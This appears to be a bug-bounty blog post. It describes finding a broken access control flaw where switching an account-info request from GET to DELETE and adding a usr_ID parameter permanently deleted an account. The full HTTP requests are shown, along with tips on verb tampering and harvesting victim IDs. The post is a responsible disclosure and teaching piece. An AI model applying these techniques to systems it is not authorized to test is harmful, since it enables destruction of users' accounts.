Authorization bug that every bug hunter missed on a popular program

A story of broken access control bug I found while hunting with my friend who is a top bug hunter, huge thanks to him for sharing scope of this private program, as it is a private program I'm forbidden from disclosing name of program and the person.

It started on a fine evening when my friend asked me to collaborate with him on a private program for fun and my learning.

We were chatting & I was learning his methodology & how he approaches targets, in a few minutes he found few XSS on a sub-domain but that was OOS then he demonstrated how he generally checks everything, meanwhile I was struggling to keep pace with his findings and replies on chat meanwhile I had just signed up for an account on the site and Burp was logging all the traffic.

After a while he was done finding XSS & CSRF and went offline I was also kind of demotivated after he went offline thinking that program being so old and popular among bug hunters there will not be any low hanging fruits especially because H1 elite were in Hall of Fame of the program. Nevertheless, I thought I should at least go through basic functions of site at least for the sake of learning so I visited account settings.

While moving through it I found an endpoint which would return details of the account like usr_ID.

Request

GET /backend/usrInfo?type=true HTTP/1.1
Connection: close
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Cookie: REDACTED;

Response

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8

{
  "usr_ID": "da947ed5-c518-4264-a768-6a36f46dfc8d",
  "info": { REDACTED }
}

While tinkering with account info request I changed HTTP Verb from GET to DELETE and to my surprise it gave an error saying that "Usr id cannot be empty"

Tampered Request

DELETE /backend/usrInfo?type=true HTTP/1.1
Connection: close
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Cookie: REDACTED;

Response

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Content-Length: 2020
Vary: Accept-Encoding

{
  "resp": "ERROR",
  "code": "INCORRECT_USR_ID",
  "cause": "Usr id cannot be empty"
}

So naturally I tried sending the parameters through HTTP request body but it gave error again as usr_ID not being included so I added usr_ID parameter in the query string then it gave 200 response, I was perplexed thinking that it's just 200 response and account wouldn't have been deleted but it was, actually deleted permanently.

Tampered Request

DELETE /backend/usrInfo?usr_ID=da947ed5-c518-4264-a768-6a36f46dfc8d HTTP/1.1
Connection: close
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: REDACTED

Response

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Vary: Accept-Encoding
Accept-Ranges: bytes

I immediately notified the company about the vulnerability & the team acknowledged that bug was valid, but exploiting the vulnerability required having access to usr_ID of victim which attacker couldn't, so severity of my bug was lowered. Though the security team was happy to raise bounty if I could find a way to harvest usr_ID. Unfortunately I failed in doing that as usr_ID being a UUID was not guessable, also there was no common meeting point between accounts so attacker couldn't get access to victims usr_ID.

Impact

The Impact of this bug is debatable since I was unable to find a way to get the victim's UUID so this bug becomes theoretical sort of, yet the security team was kind enough to accept it and issue a bounty for this. Always try to find a way to get the username or ID of victim it's easy to do if the vulnerable site is a social network.

Why this went unnoticed?

• Maybe because no one tried changing the HTTP Verb assuming it's tested for by someone else.
• No one bothered to find right location for usr_ID 
• Perhaps no one thought that the account settings page which appeared to be very basic could have a bug like this. 
• Most of people check for CSRF on account delete endpoint not for IDOR/BAC on it that often, especially when they don't see a parameter to put ID in they don't try.

Takeaway

Security by assumption is bad idea, for defenders and also for attackers.

Most of the hunters including me usually assume that program is well tested and there couldn't be any low hanging fruits left, especially in a place like account settings page and that bug couldn't be found by tinkering with simple things like HTTP verbs and adding few parameters at the end of URL.

Initially while beginning the test with my friend, I never thought that, this night I'll end up finding a bug in 5-10 minutes. Usually for me it takes a long time to find bugs but bugs are there! Even on supposedly well tested areas of popular programs.

Actually I found similar bug on some other site it was an open redirect and I found it by guessing that the endpoint maybe receiving a parameter, comment if you want to hear story behind that!

Hope you enjoyed this little post, do comment below if you liked the post or if you want to get in touch with me, or suggest any changes contact me @fellchase